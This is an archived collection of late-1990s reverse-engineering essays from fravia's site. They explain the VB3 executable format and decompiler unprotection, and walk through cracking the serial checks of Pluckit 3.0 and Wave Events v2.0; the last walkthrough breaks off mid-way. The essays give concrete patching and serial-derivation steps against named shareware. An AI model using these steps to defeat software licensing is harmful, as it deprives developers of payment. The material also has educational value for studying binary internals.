dukeess.htm Inside the VB3 .EXE
Then the 4 definitions starting @ 069A:
069A - 16 00 02 00 30 1C 01 80 00 00 00 00
06A6 - 18 00 02 00 30 1C 02 80 00 00 00 00
06B2 - 1A 00 09 00 30 1C 04 80 00 00 00 00
06BE - 23 00 01 00 30 1C 05 80 00 00 00 00

These resources are respectively:


Forms Definitions
Internal Definitions
A Form
Form and Control Names

It should be noted that the resource ID is not related to what


the resource is used for. The function of the resource is
identified by it's header bytes.
The FLAGS sections of the segments and resources are used for
information like if they are MOVABLE, SHAREABLE, PRELOADED,
EXECUTEONLY, etc.

06D8-07FF Various name tables used by windows

0800-0819 This is the first segment. If you remember, the initial value
of CS:IP was 10 bytes past the start of this segment. This byte is
a long CALL (9A) into the interpreter. The address is computed at
runtime since there is no way to tell where VBRUN will load into
memory. The bytes which follow the segment are loading information
for other segments.

0900-0EFF These are the actual tokens. The source code is translated to this
at compile time. Strings are stored literally; this helps us to find
our place while comparing tokens to source. More on this section and
the ones that follow in the next lesson.

0F00-114F This section defines how the tokens are arranged into their various
subs.

1200-12FF This is the GROUP_ICON definition (Don't bother!)

1300-15FF This is the ICON definition. For information on this and the previous
section look in the WIN SDK help file under 'Graphics File Formats'

1600-17FF This is the Forms Definitions section. Here, information on forms,


imported VBX's, and controls is stored.

1800-19FF This section's format is quite mysterious but it is used to hold


object definitions like forms, controls, variables, and constants.

1A00-22FF This is the actual form used in the program. It's format is very
similar
to a VB .FRM file. Notice the 'in line' icon @ 1A61. Pictures are also
stored this way. The form's controls are defined in the second half of
the form.

2300-END These are the control names. ***This section is unnecessary for
program
operation and is removed when the program is PROTECTED.***

http://www.instinct.org/fravia/dukeess.htm (4 of 10) [2/7/2001 3:18:15 PM]


dukeess.htm Inside the VB3 .EXE

What does this mean for CRACKERS???


Crackers can modify the information in these various sections to:
-Change an '=' to '< >' in the program tokens (or vice versa)
-Adjust constants to new values
-Un-Hide hidden controls
-Enable check boxes, menu items, buttons, etc. which have been disabled
If you are lucky enough to own the Professional Version of DoDi's VB tools, you can De-compile most programs into source code
which will recompile in Visual Basic after you have made your changes. Unfortunately, the shareware and standard versions don't
handle custom controls properly and will probably not give you source code that will re-compile. Your only option is to make the
modifications manually.

Tokens
While a complete explanation of all of the tokens is beyond this lesson, I will describe some of the more common things you will
come across as you examine tokens. Lets take the following small snippet of code:
0900: 35 49 21 2D 1A 00 9A 38 0A 00 0C 00 04 00 64 75
0910: 6B 65 00 00 C3 11 7A 44 B4 34 1E 00 35 0E 4B 49
..
..

The source code which compiled into this was:


IF password <> "duke" THEN END
Lets break this down. The first two bytes '35 49' is the token for encoding the number of leading spaces in the original source code.
Some of the token words for spacing are as follows:
494B- No Spaces
4948- 1 Space
4945- 2 Spaces
4942- 3 Spaces
4935- 4 Spaces
4932- 5 Spaces
.....
Hence '35 49' means there are 4 spaces at the start of this line of code (four spaces is also the default TAB in VB). Although this
information is only for formatting and is not necessary for program operation, the interpreter expects to see valid tokens here and
funny things happen if it doesn't. HINT: This makes it easy to find the start of each line as you look at raw tokens.
'21 2D 1A 00' References the variable password.
2D21 - Tells the stack how to handle the offset. Could be considered Type Information.
001A - Offset to load variable's information
The next bytes '9A 38 0A 00 0C 00 04 00 64 75 6B 65 00 00' is the string definition for 'duke' :
389A - Literal String Definition
000A - Length of the Remainder of the Definition in Bytes
000C - Offset to length of String (0600 + 000C = 060C Points to next word)
0004 - Length of Actual String
'64 75 6B 65' - The String! 'duke'
0000 - Null Termination/Padding
'C3 11' Follows most Literal String Definitions (performs a PUSH to prepare for next token)

'7A 44' This is the important one. It basically means 'Compare the two variables and if < > then continue' Hmmm. What would
happen if we changed '7A 44' to '6A 44' which means 'Compare the two variables and if = then continue' You guessed it! Our
program would be cracked.
The remaining tokens are the END instruction and the next line spacing token. The easiest way to learn about the different tokens is
to write short VB programs, make .EXE's, and compare the tokens with the source code which generated them. When you compare

http://www.instinct.org/fravia/dukeess.htm (5 of 10) [2/7/2001 3:18:15 PM]


dukeess.htm Inside the VB3 .EXE
the differences between simple code changes, you will begin to see the patterns. You could also look at the routines for the various
tokens but these are very difficult to follow. If you would like to look at the routines, try the following:
(SoftIce must be running and you may have to do this procedure more than once to get it to work)
Run a VB program

While the program is running, CTRL-D into SoftIce

Do a HEAP on the program to display it's memory locations

DB the addresses of the 'Code' segments (try seg. 4!) until you find the tokens

BPM the address of the first token

Return to Windows and Exit the VB program

Restart the SAME VB program; SoftIce will pop up once on a string copy in VFAT, CTRL-D back to the program
and it will pop up again on a JMP AX in VBRUN.
This JMP AX is about to go to the first routine. If you look at AX, you will notice that it's value is the first token. It was loaded with
the previous instruction LODSW ES. The tokens are actually the addresses of the routines to be performed! If you DB ES:0 you will
see the tokens the way VBRUN is referencing them using SI. As you step through, you can watch the tokens being loaded and their
routines run.
Now that you have a basic understanding of how the tokens work, let's move on....

Forms and Controls


Before I go into an actual Form, there is another resource which describes the various forms and controls in the program. Lets take
another section of CALC.EXE:

1600:03 20 81 80 FF FF 43 41 4C 43 00 00 00 00 00 05
1610:00 01 00 43 41 4C 43 00 00 46 09 04 80 46 00 FF
1620:01 A4 48 00 43 41 4C 43 2E 46 52 4D 00 00 00 58
.....
This is the start of the 'Forms Definitions' section. It contains the names of the form (.FRM) files used in the compile, names of any
.VBX files needed by the program, and references for both common and custom controls.
The start (header) of this section is '03 20 81 80' and there is only one of these sections in an .EXE (that I have seen, anyway). 'FF
FF' always follows.
The next nine bytes contains the program name, eight byte DOS limit and a terminating 0. If the name is less than 8 bytes long, the
extra space is padded w/ 0's.
The next bytes '05 00' is the length of the Application Title with a terminating 0. This title may be up to H29 bytes long and is
entered at compile time.
'01 00' ?????? Possibly the number of titles?
'43 41 4C 43 00' is the title 'CALC'
The next '00' is padding.
The bytes which follow are the definitions of the names and controls. They have the following format:

Next byte:
43 - VBX Name - This defines a VBX needed by the program. The byte after the '43' is
the
length of the VBX filename. The next word is '00 00' since there are no resources
associated with these entries (see next definition). The null terminated filename
starts 7 bytes later (I don't know what the 7 bytes are for).
46 - Form Name - This is the name of the .FRM file used during the compile. Again the
byte after the '46' is the length of the filename. The word which follows is the
ID of the resource which contains the actual form. 7 unknown bytes, then the null
term.
filename. The word after this is the number of DWORDS which follow before the next
definition. Most form name entries have this set to '00 00' which of course means
that the next definition starts at the next byte. I don't know what these bytes mean
either.
58 - Control Name(s)? - These seem to be the definitions for the control names. ALL

http://www.instinct.org/fravia/dukeess.htm (6 of 10) [2/7/2001 3:18:15 PM]


dukeess.htm Inside the VB3 .EXE
of the standard controls are listed first without names. The word(?) after the 58 is
the
control type. A list of the most common controls will be provided later. There are
4 words follow the control type, the last of which always seems to be 0000. If the
control is a Custom control, the length of the name and the null term name follow,
otherwise this part is left out. The next word is again the number of mystery DWORDS
which follow.
Now for the Form: CALC.EXE only has one form which starts at 1A00. The form can be thought of as two sections:
the form description and the controls description.
00001A00 FF CC 2C 00 07 A3 08 00 00 8D 03 00 00 00 00 0D ..,.............
00001A10 22 01 26 00 32 00 FF 00 0A 43 61 6C 63 75 6C 61 ".&.2....Calcula
00001A20 74 6F 72 05 30 0C 00 00 98 07 00 00 C0 0C 00 00 tor.0...........
00001A30 00 0C 00 00 0C 06 53 79 73 74 65 6D 9A 99 19 41 ......System...A
00001A40 01 19 01 00 42 00 23 FE 02 00 00 00 00 01 00 01 ....B.#.........
00001A50 00 20 20 10 00 00 00 00 00 E8 02 00 00 16 00 00 . .............
.......
--MORE ICON DATA --
.......
00001D40 1F F8 00 00 1F F8 00 00 3F 24 05 46 6F 72 6D 31 ........?$.Form1
00001D50 25 01 35 30 0C 00 00 36 98 07 00 00 37 C0 0C 00 %.50...6....7...
00001D60 00 38 00 0C 00 00 FF 17 00 00 00 00 00 00 00 00 .8..............
00001D70 00 00 00 00 71 01 00 00 00 00 00 00 00 00 00 00 ....q...........
00001D80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00001D90 00 00 00 00 00 00 01 41 00 00 80 01 07 00 00 04 .......A........
00001DA0 FF 00 01 37 02 07 00 04 78 00 58 02 E0 01 E0 01 ...7....x.X.....
00001DB0 0B 06 53 79 73 74 65 6D 9A 99 19 41 E1 11 07 00 ..System...A....
The form(s) will have the header 'FF CC 2C 00', (The header is actually just CCFF but all of the forms I have seen follow this with
002C, it doesn't seem to ever be checked. VBRUN300 will also accept CC23 as a valid form section header although I have not yet
seen it in an .EXE.)
This form has 7 controls,
Offset to end = 08A3 (End of form : 1A05 + 08A3 = 22A8),
Offset to first control = 038D (First control : 1A09 + 038D = 1D96)
I don't know what the 0D is....
The important thing to remember from this point is that VB starts with a default form and makes changes to it from there.
If our form were a default VB form, the 'FF 00' @ 1A16 would be located at 1A10; this FF designates the end of the basic window
properties. Instead we have three entries:
'22 01' - 22 is the border style, it has changed to 1-Fixed Single
'26 00' - 26 is the Max button on the window, it has been changed to False or DISABLED (27-Min & 28-Close)
'35 00' - 35 is Clip Controls, it has been changed to False
As you can see, the changes are made by adding a 'Property ID' and the new value. The three properties changed above all had values
that were only one byte long but this is not always the case. The Form's caption is next, then starts property 05 @ 1A23 . The next 4
DWORDS are the values for property 05 which set the size and location of the window. Changing these will move and/or resize the
window. The next property 0C, is a font change. This is followed by the font name and 5 words which describe it's attributes. At
1A46 is property 23, an Icon. Icons, as well as images, are stored inline, in standard format and can be edited. The next word 02FE is
the offset to the end of the icon. Right after the icon, is property 24 @1D49; the Link Topic stored in the usual VB string format. And
after that, property 25 which is the Link Mode. Last, and definitely least, are properties 35, 36, 37, and 38. Do you recognize their
values? They are the same DWORDS as property 05 above. There is a difference though, changing these does nothing. I don't know
if these are used for anything at all. The next property is FF meaning of course 'No More Properties'. A few unknown bytes and we
are on to our next part: the controls section (remember though, this is all one resource).
The controls on this form start at 1D96. Since there are a lot of buttons on our 'Calculator', the section is too long to go over the
whole thing but here is a chunk of it:

00001D90 00 00 00 00 00 00 01 41 00 00 80 01 07 00 00 04 .......A........
00001DA0 FF 00 01 37 02 07 00 04 78 00 58 02 E0 01 E0 01 ...7....x.X.....
00001DB0 0B 06 53 79 73 74 65 6D 9A 99 19 41 E1 11 07 00 ..System...A....

http://www.instinct.org/fravia/dukeess.htm (7 of 10) [2/7/2001 3:18:15 PM]


dukeess.htm Inside the VB3 .EXE
00001DC0 FF 0B A9 01 00 00 00 00 00 00 00 00 00 00 00 00 ................
00001DD0 00 00 00 00 00 00 00 00 03 41 00 00 80 01 08 00 .........A......
00001DE0 00 04 FF 00 01 38 02 08 00 04 D0 02 58 02 E0 01 .....8......X...
00001DF0 E0 01 0B 06 53 79 73 74 65 6D 9A 99 19 41 E1 11 ....System...A..
00001E00 08 00 FF 0B A9 01 00 00 00 00 00 00 00 00 00 00 ................
00001E10 00 00 00 00 00 00 00 00 00 00 03 41 00 00 80 01 ...........A....
00001E20 09 00 00 04 FF 00 01 39 02 09 00 04 28 05 58 02 .......9....(.X.
00001E30 E0 01 E0 01 0B 06 53 79 73 74 65 6D 9A 99 19 41 ......System...A
00001E40 E1 11 09 00 FF 0B A9 01 00 00 00 00 00 00 00 00 ................
00001E50 00 00 00 00 00 00 00 00 00 00 00 00 03 3C 00 00 .............<..
00001E60 00 02 00 04 FF 00 01 43 04 F8 07 58 02 E0 01 E0 .......C...X....
Lets look at the first control in detail:

'01' - Our first control will start with 01. Simple enough right? Well that's where the simplicity for this field ends!
'41 00' - This is the offset to the next control (0041).
'00 80' - This indicates a Control Array (8000). If this value were 0000, this would be a single control.
'01' - The position of the name of this control in the Control Names list (more info later)
'07 00' - The Index Value for the control (0007). If this were a single control, this word would be missing.
'00' - Padding?
'04'- Control Type. Type 04 is a Command Button.
'FF' - 'End of Part 1'

Now starts the same type of property list found in the form section so I will not go into detail.
If our program contained a menu, the items would also be listed in this faishon. The hierarchy can get quite messy but the key is in
the first byte(s) of the control. The bytes following the first may or may not be the offset to next, If they are 01 - 05 they are hierarchy
codes (04 meaning no more controls). If they are > 5 then they are the offset to the next control. After you examine this section of a
program with a complex menu, you will see what is going on.
Unfortunately, due to the large number of control properties, I cannot give you a list of them. It is, however, fairly easy to find the
code of a property you are looking for .... Just compile a test program with whatever control you are trying to find the property for,
make an .EXE out of it, then change the property and make another .EXE. When you binary compare the Form section's of the two
programs, you will see what bytes have been added to change the property. This is the best way to find out most of what is in the
.EXE.
* A note on VB3: VB3 has a strange habit of compiling the exact same source code into slightly different .EXE's between the first and
second compiles. When making your reference file, compile your source code TWICE without changing anything. It will ask you if
you want to over write the existing .EXE; answer YES. NOW rename the .EXE and compile it a THIRD time. A binary compare of
these should be identical, if not, repeat this until you can get two files which are identical. THEN make a your changes and Compile
again. This is necessary on the VB3 that I have, you may want to test it on yours.
Here is a list of some of the Form Properties you may want to change:
03 - Background color
09 - Enabled
0B - Mouse pointer
0C - Font change
10 - Window State
1D - Fill style
1E - Fill color
23 - Inline Icon definition
24 - Link topic
25 - Link mode
26 - Max Button
27 - Min Button
28 - Close Button
2E - Visible
31 - Key Preview
and standard control types:

http://www.instinct.org/fravia/dukeess.htm (8 of 10) [2/7/2001 3:18:15 PM]


dukeess.htm Inside the VB3 .EXE
00 - Picture
01 - Label
02 - Text Box
03 - Frame
04 - Command Button
05 - Check Box
06 - Option Box
07 - Combo Box
08 - List Box
09 - Horz. Scroll Bar
0A - Vert. Scroll Bar
0B - Timer
10 - Drive Box
11 - Directory Box
12 - File Box
13 - A Menu Item
16 - Shape
17 - Line
18 - Image
25 - Data
FF - Custom Control
The last resource in our CALC program is the control names resource @ 2300. Not too much to talk about here, the first entry is the
name of the form, subsequent entries are the names of the controls on the form. With a control array, only the first item is listed. This
section is not needed at all for the program to run and it can be removed (and is!) without effect. Each control defined in the control
section has a reference to the position in this list of the control's name. Unfortunately, the program's variable and sub/function names
are not stored anywhere in the program, and hence can never be recovered. If our program had more than one form, the additional
form(s) would follow alternating with their control names section(s).

"Protection" from De-Compilers.


First let me start by saying that NO PROGRAM CAN BE PROTECTED FROM A GOOD DE-COMPILER!!!! This is not to say
that DoDi's De-Compiler is not good, but he has written it with the intent to be able to prevent it from working. As long as the
Program Tokens are in the .EXE (and they must be for the program to function) those tokens can be de-compiled back to the original
source code. So when I talk about Un-Protecting a file, what we are really talking about is making it acceptable to DoDi's
de-compiler.
Programs are protected by removing the sections which are not needed for the program to run, but ARE needed for the de-compiler.
These sections are the .FRM names in the Forms definitions section and the Control Names resource(s). Get MAKE_MAK.EXE
from the net if you don't already have it. It is a VB Protector. Make a copy of our CALC.EXE with the name CALC.OLD and using
MAKE_MAK, 'Protect' CALC.EXE.
When you start to HEX examine the file, look at the following things:
1) The offset of one of the resource listings in the Win header has been zeroed out
2) The name string 'CALC.FRM' has been removed from the forms definition section and the name length set to 0
3) The whole Control Names resource is gone
DoDi's de-compiler will now refuse to work on our file. It is detecting the changes and refusing to run (CHEAT!). But all we have to
do is fix these sections and it will work, right?? ABSOLUTELY!!! Since we know what was originally contained in these sections,
we can rebuild them exactly. If we were dealing with someone else's protected file, we could only guess at what their forms and
controls were named but IT WILL DE-COMPILE once it is fixed.
Un-Protecting a file:
1) If you have to guess at the names, just start with FORM1.FRM and increment for each additional form. For each '46' entry
in the Forms definitions section, INSERT a form name and fix the length field. ONLY INSERT INTO THIS RESOURCE!!!
After you have added the bytes, delete just as many padding 00's at the end of this resource to bring the next resource back to
it's page boundary. If this cannot be done, you must add 00's to push the next resource to a new page boundary and adjust the
pointers in the header of all affected resources.

http://www.instinct.org/fravia/dukeess.htm (9 of 10) [2/7/2001 3:18:15 PM]


dukeess.htm Inside the VB3 .EXE

2) Rebuild the Control Names resource. It must start on the page after it's related form ends. If you are guessing at control
names, use the control type to make a useful name i.e. Command1, and the 'Number in List' parameter in the control data to
place it in the proper order. Pad the rest of the page to bring it to the next boundary. Repair the pointer to this resource in the
header and adjust the pointers of any resources after this one which have been moved.
* If the program has been protected with DoDi's VBOPT, there will be one additional step needed in order to un-protect it. I won't
tell you this step out of respect for the writer of the only VB de-compiler I know of, but it isn't hard to figure out. I have faith in all of
you!!

Final Notes
If there is something that I have not made clear, and after much time of trying to figure it out for yourself, or if you know of parts of
my essay that are just wrong, please e-mail me at vbman@nassau.cv.net and I will do my best to help.
Please Don't email duke@nassau.cv.net, it's not me. Someone got the address before I did :(

Ob Duh
Ob duh does not apply here... on the countrary: visual basic buffs should pay Duke for this kind of information...
You are deep inside fravia's page of reverse engineering, choose your way out:

Visual basic

Back to Visual Basic

homepage links anonymity +ORC students' essays academy database


tools Javascript wars cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/dukeess.htm (10 of 10) [2/7/2001 3:18:15 PM]


ind_tra1.htm: Pluckit 3.0 ~ Hip Hip Hurray for Smartcheck

Pluckit 3.0 ~ Hip Hip Hurray for Smartcheck


by +Indian_Trail , 04 May 1998
f Courtesy of Fravia's page of reverse engineering
An interesting essay for beginners, which underlines an old truth:
IF visual basic THEN cracked at once
fravia's
comments Protectors working in visual basic should be aware of the existence of Smartcheck (I can't imagine
anyone working vith ANY programming language that doesn't know of this GREAT incredible
reversing tool..., as I have written myself repeatedly :-)
There is a crack, a crack in everything
f
That's how the light gets in
(x)Beginner ( )Intermediate ( )Advanced ( )Expert
We have all seen fine examples on how to use smartcheck. This essay will be about how to get a valid
Rating
serial number from smartcheck rather than finding a byte to patch. I don't think it's possible to write
a clever protection in visual basic so thereof this protection is not interesting at all...

Title Pluckit 3.0 Hip Hip Hurray for Smartcheck


Written by +Indian_Trail
A friend of mine asked me to crack this program. It a newsscanner that downloads pictures from
newsgroups, probably written for porno lusers. Anyway I didn't know that Pluckit was written with
Visual Basic. So this was my first attempt at a visual basic program.
I never liked Visual Basic or delphy, I don't see the point in using a language that produce bad code.
The obvious way shuld be to try to write as small and efficent programs as possible and to do that -as
you all know- you have to write tha meain routines in pure assembler. Anyway I don't mind people
using Visual Basic as an introduction language to computer programming. Most of us learned basic
Introduction
as a start on the first home computers like Zx80 or Sinclair Spectrum and C64. But, programs that are
written in toy languages like this should be free for all people.
Applications that are slow and filled with bugs should not be commercial, they should be freeware
(this is valid for word an Excel as well, btw). Unfortunatley the author of this lame crap has another
idea about this. On startup there is an ugly nagscreen with some text inside it and an "ok_ button" and
a "cancel_button". After the nagscreen is a register screen where you can input a serialnumber, if you
don't have a serial# you'll only be able to download 15 files. We will focus on the serial#.
Smartchecker 5.0
Tools Win32Dasm
Required ~
www.pluckit.com

http://www.instinct.org/fravia/ind_tra1.htm (1 of 4) [2/7/2001 3:18:22 PM]


ind_tra1.htm: Pluckit 3.0 ~ Hip Hip Hurray for Smartcheck

Step I: loading the target through smartcheck.

As I mentioned this is my first attempt to crack a VB program. In my first approach I changed some
jumps in memory, but there were too many jumps to change so I decided to go for the serialnumber.
I'm not gonna cover how to set up smartcheck cause Fravia+ has already done that. Well lets fire
smartcheck...

On startup you'll get two 'invalid arguments' errors, like I said, this crap is filled with bugs. Proceed
to the registration screen and type in any#. In smartcheck choose view "specific events.. " so you can
easily navigate and find what we are looking for.
After the "invalid..." dialogbox appears, terminate Pluckit3 and go to smartcheck and look around. At
sequence# 16745 you'll see your false serial number. Now what follows is:

16752 Trim (variant: string"false#") 4d4260


16763 Val (string"false":
|
|
16931 msgbox
-----
Now it's time to choose view "All events". I reached this point after 3 seconds, and What you'll see
now is the first barricade of the protection scheme. The last things that are done before the
messagebox as you'll see (if you chosen view all events) is :

16926 __VbaVarOr()
16927 __VbaBoolVarNull() Return dword FFFFF
16928 _vbaVarDup(VARIANT: string "invalid", Variant boolean false)
----
This looks very strange, no manipulations at all so far execpt from the basic ones ie calculate length
of string and so on. I don't know what __vbaVarOr or __vbaBoolVarNull does exactly but judging
from their names they must check something from beeing either true or false. That was what I
thought when I first glanced at it. But what could it be? It could be three things:

1 A letter
2 A char ie "%" or whatever
3 both of them
T So start all over again and this time enter your name as registration#. Remeber to choose view
"specific events and errors" if you want to skip alot of unimportant "code".
H
There are some significant changes, first obvious one is we passed the __vbaBoolVarNull and second
E the sequence numbers has shrinked !!? The messagebox is now at sequence# 14764. But what's more
interesting is the lines above 14764. From 14731 ---> 14758 are a bunch of Integer(#)-->Long(#)
where # is starting from 0 and ending at 9. View all events and you'll see that under each Integer(#)
there is a a different number that is tested against a variable called double:0. The values that are
E tested against double:0 are:

55276

http://www.instinct.org/fravia/ind_tra1.htm (2 of 4) [2/7/2001 3:18:22 PM]


ind_tra1.htm: Pluckit 3.0 ~ Hip Hip Hurray for Smartcheck

39824
S 68684
75268
S 12367
59826
A 48927
65826
Y 34096
15824

This means that double:0 should have a value equal to one of these numbers and the registration code
must contain a letter(s) for us to pass __vbaBoolVarNull(). We also know that double:0 is zero when
we only entered letters. So the registration code must have some numbers and one or more letters

step II
Start again (I know this begins to be boring but we are almost finished). This time we must use
systematical inputs. Lets begin with 123A and see what happens what value is given to double:0.
Hmmn we didn't pass the __vbaBoolVarNull() function with 123A. Well my experience in
registration codes tells me that the letter may be a separator of two numbers. Lets try 123A123.
Great (balls of fire) we passed the evil __vbaBoolVarNull(), lets find out if double:0 has a value. Just
click on one of the __vbaVarTestEq at sequence# 14909 for example wich is the first one. As you'll
see double:0 has the value of 15129 and is therefore called double:15129 instead of double:0. How
did it get that value?

14347 __vbaVarMull(variant:double:123, variant:double:123) returns dword 6FF714

Well 123*123=15129 and thats where double:15129 got it's value from. So the form of the
regisration code is #####X#####=Y where # is a number and X is a letter and Y any of the valid
numbers that our double:15129 is tested against. Lets pic one of the valid numbers and use them in
our code like this:

55276A1000 = 55276*1000 = 55276000

Since such a visual programmer is assumed to be a moron, he will probably only check the five first
numbers but hey, should he check all numbers we still have the equation... so it would be really easy
to solve it. But lets first try the above to see how dumb such a "programmer" can be... Could you
believe that? It worked at once! What a moron programmer!

Numega deserves all credits for its Smartcheck, this is truly an amazing tool. Thats it for now.

Indian_Trail
(Saddle all the horses far on the Indian Trail, 'til it's time to change the key and jump to a different
scale...a boogie woogie on the run)
I wont even bother explaining you that you should BUY this target program if you intend to use it for
a longer period than the allowed one. Should you want to STEAL this software instead, you don't
Ob duh
need to crack its protection scheme at all: you'll find it on most Warez sites, complete and already
regged, farewell.

http://www.instinct.org/fravia/ind_tra1.htm (3 of 4) [2/7/2001 3:18:22 PM]


ind_tra1.htm: Pluckit 3.0 ~ Hip Hip Hurray for Smartcheck

I don't know why one should choose visual basic to make an application like this one. But this Author
Final Notes is probably just a greedy looser, who only want to make some fast money instead of taking pride in a
good, lean and fast program.
You are deep inside fravia's page of reverse engineering, choose your way out:

way out
Back to Visual Basic -->
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/ind_tra1.htm (4 of 4) [2/7/2001 3:18:22 PM]


wyatt_vb.htm: Cracking Wave Events v2.0

Cracking a simple protection IF you understand the


coprocessor

by Wyatt, 29 June 1998 (slightly edited by fravia+)


here Courtesy of Fravia's page of reverse engineering

Well well... another SOUND explanations of Intel's coprocessor commands... commands


that can be used and that are actually used for protection purposes...
I'm sure that even many 'old hands' will enjoy reading this... great, well-presented
fravia's material! See also how a combination of smartchecking and softicing can bring you some
comments sound KNOWLEDGE about some "little-reversed" coprocessor's commands... Awaiting
more, dear Wyatt: I am explaining now only some typical commands because there are
too much to show them all in one essay? No, no, no... we want more essays, more
commands, more explanations, more fun with coprocessors! :-)
There is a crack, a crack in everything
here
That's how the light gets in

Title Cracking Wave Events v2.0


Written by Wyatt on June 18th, 1998.
( )Beginner (x)Intermediate ( )Advanced ( )Expert
Rating A little understanding of how to crack a program written in Visual Basic is required. See Razzia's and Fravia's
essays.
This is my first essay on fravia's pages but i have realy studied much in the last half year. So I think I can write an
essay too.
This protection here is another one of the Visual Basic Name/Serial protections. But the difference to the other
essays on these pages is that this target uses some coprocessor instructions to convert the user input. In the first time
Introduction
I didn't understand this but after reading a good book it was quite simple.
With Wave Events you can add some sound events to all executable files in Win95. I don't need this actually, so i
have cracked this protection scheme just for fun.
You can download the program at www.waveevents.com.

SmartCheck v5.0
Tools
Required SoftICE v3.x
some Brain ;)

Part 1: Loading the target in Smartcheck

The first thing I do if I want to crack a VB prog is to run it under Smartcheck. Mostly you find something you can
use to crack the app.
In Wave Events select Help/Register. Now fill the registration fields with some info. I use "Wyatt'98" and "121212".
Now push the Save-Button. You see a Message Box which tells you that you have inserted an invalid code (which
does not wonder me in the least). Ok thats all the info we need (not all but nearly all ;). Close the target and examine
it through "our" great Smartcheck tool. After a little searching (don't forget to choose the "Show All Events" option)
you'll find your input. By me it was at line 159064 (You can directly search for your dummy code). You should see
this:

159064 Val returns double: 121212

http://www.instinct.org/fravia/wyatt_vb.htm (1 of 5) [2/7/2001 3:18:29 PM]


wyatt_vb.htm: Cracking Wave Events v2.0

159099 SysFreeString
|
|
159102 MsgBox returns Integer: 1

What does this mean? If you look into the first line you should hopefully find that Msvbvm50.dll calls a procedure
in Oleaut32.dll called "VarNumFromParseNum". This procedure returns our dummy code converted into a double
real number. Write down the address of this proc in Msvbvm50 (it is 0DD77Bh - you'll find it inside the right
window of Smartcheck... LEARN HOW TO USE THIS GREAT GREAT TOOL!) and close smartcheck now, we
won't need it again. We want to examine our target now in SoftIce.

Part 2: Examining our target through the live approach

Fire Softice. You have written down the address of the Call in Msvbvm50? If not, do it now (look above). Set a
Breakpoint at that address (mine is bpx F0DD77B). After you have enter some dummy registration info again you
land hopefully here:

014F:0F0DD772 PUSH EAX


014F:0F0DD773 LEA ECX,[EBP-38]
014F:0F0DD776 PUSH ECX ;our code (121212)
014F:0F0DD777 LEA EDX,[EBP-18]
014F:0F0DD77A PUSH EDX
014F:0F0DD77B CALL [0F10F0CC] ;HERE! (esi points to the offset of
our return value)
014F:0F0DD781 JMP 0F0DD683

The return value is our code converted into a double real number. After the call, set an bpr at this new converted
number (this is the usual way, especially in a VB-prog; info: double real have 8 byte length) and run it. Now the
main part comes. Softice stops at an coprocessor instruction. For a better understanding I explain now some basic
knowlege of the coprocessor.

Part 3: Explaining some basic knowlege of the coprocessor

The coprocessor uses 8 register, wich are arranged similiar to the normal stack. Every register is 80 bit long and its
content is a real number. Then the copro uses a so called "status word register". It is nearly similiar to the well
known flag register. Here a short graphical description:
Register
ST Content (80 bit)
0
1
2
3
4
5
6
7

status word register


15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
B C3 ST C2 C1 C0 IR P U O Z D I

http://www.instinct.org/fravia/wyatt_vb.htm (2 of 5) [2/7/2001 3:18:29 PM]


wyatt_vb.htm: Cracking Wave Events v2.0

Let us concentrate to bit 14, bit 10-8 and bit 13-11. Bit 14 and bit 10-8 represent the "condition code". This is realy
important for comparing two numbers. But more later. Bit 13-11 represent the TOS (Top of Stack). The TOS is
therefore a pointer to the Top of our 8 register stack. All instructions without a special operand uses the TOS (or
better the register at wich the TOS points) to calculate. So for example the register 3 has the value 5 and the TOS
has the value 3.
TOS=3
ST(0) = Reg3 = 5
ST(1) = Reg4 = ?
ST(2) = Reg5 = ?
The instruction "FCHS" will then change the sign of Reg3.
ST(3) = Reg6 = ?
So after this the content of Reg3 is -5.
ST(4) = Reg7 = ?
ST(5) = Reg0 = ?
ST(6) = Reg1 = ?
ST(7) = Reg2 = ?

I explaining now only some typical commands because it is too much to show all in one essay.

Fld real8 ptr [ebx]


This command loads an double real from ds:ebx into the register at wich the TOS points. Before this operation the
TOS is decremented. So all registers are moved one position down and the last register (in our example Reg2)
comes to position 0. The double real is saved in Reg2.

Fst real8 ptr [ebx]


This command is the contrary to Fld. It saves a double real at address ds:ebx. Only the TOS is not changed.

T Fstp real8 ptr [ebx]


This is the same like Fst. But the TOS is incremented (the p stands for "pop"). After this operation the TOS points at
H the next register. Mostly after a saving of a number we don't need this number in a register again.

Fadd, Fsub, Fmul, Fdiv


E It is complete the same like Add, Sub, Mul, Div. But the condition is that one operand must be the TOS (TOS -->
ST(0)).
For example: Fadd ST(3),ST(0).

E TOS=4
ST(0) = Reg4 = 7
ST(1) = Reg5 = ?
S ST(2) = Reg6 = ?
The instruction "Fadd ST(3),ST(0)" will then add ST(0) to ST(3).
ST(3) = Reg7 = 4
S ST(4) = Reg0 = ?
So the content of Reg7 is 11 after this operation. The TOS is not changed.
ST(5) = Reg1 = ?
A ST(6) = Reg2 = ?
ST(7) = Reg3 = ?
Y Faddp, Fsubp, Fmulp, Fdivp
The same like Fadd, Fsub, Fmul, Fdiv. But the TOS is incremented.

Fcom, Fcomp
Fcom is the equivalent to Cmp. But it exist only one operand. Fcom compares this operand with the TOS and
change the condition code. You know the condition code is Bit 14 and Bit 10-8 of the status word register. Fcomp
pops (increment) the TOS after the compare.

condition code
C3 C2 C1 C0
0 0 0 0 Operand 1 > Operand 2

http://www.instinct.org/fravia/wyatt_vb.htm (3 of 5) [2/7/2001 3:18:29 PM]


wyatt_vb.htm: Cracking Wave Events v2.0

0 0 0 1 Operand 1 < Operand 2


1 0 0 0 Operand 1 = Operand 2
1 x x 1 Operands not compareable

Fcompp
Fcompp has no operand. It compares ST(0) with ST(1). The TOS is incremented by two.

Fild word ptr [ebx]


Fild converts an integer in a real number and loads it in ST(0).

Fist, Fistp
Fist converts a real number from ST(0) to a word(!) integer and saves the integer at a memory location. Fistp
converts a real number from ST(0) to a dword(!) integer at a memory location and increment the TOS.

I think thats enough. If you want more then take a good book. There are much more to explain. Ok now back to our
target.

Part 4: Get a valid serial

At the end of Part 2 SoftIce had stoped at a coprocessor instruction.

014F:0F0DD289 FLD REAL8 PTR [EBP-08] ;HERE!!


014F:0F0DD28C JMP 0F0DD213
014F:0F0DD28E CMP DWORD PTR [0F10F064],00

